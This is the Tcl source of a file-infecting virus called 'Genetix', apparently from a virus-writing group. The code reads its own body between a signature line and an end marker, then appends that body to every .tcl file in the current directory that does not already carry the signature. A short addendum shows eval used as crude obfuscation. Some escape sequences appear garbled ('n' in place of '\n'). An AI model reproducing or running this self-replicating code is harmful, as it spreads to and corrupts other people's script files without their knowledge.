#Genetix
#Doomriderz - tcl appender

puts "choose your destiny"
set sig "#Genetix"
set infected "erm.."
set self [open [info script] r]
while 1 {
    gets $self line
    if { $line == $sig } { 
    break 
    }
         
}

while 1 {
    gets $self line
    if {$line == "#end"} { break }
    append all "$line n"
}
close $self

foreach victim [lsort -dictionary [glob *.tcl]] {

    set findsig [open $victim r]
         while 1 {
             gets $findsig data
             if {$data == $sig} { set infected "yey!" }
             if [eof $findsig] break
   }
   close $findsig

   set drop [open $victim a]
   if {$infected != "yey!"} {
       puts $drop "n$sig n $all n#end"
   }
   close $drop
set infected ""
}

#end

--END APPENDER.

example of encryption with eval:

set a puts
set b HELLO
set c GOODBYE
eval {$a $b; $a $c}

this was already documented in TCL manual.. Not that they expect it to be used for bad things..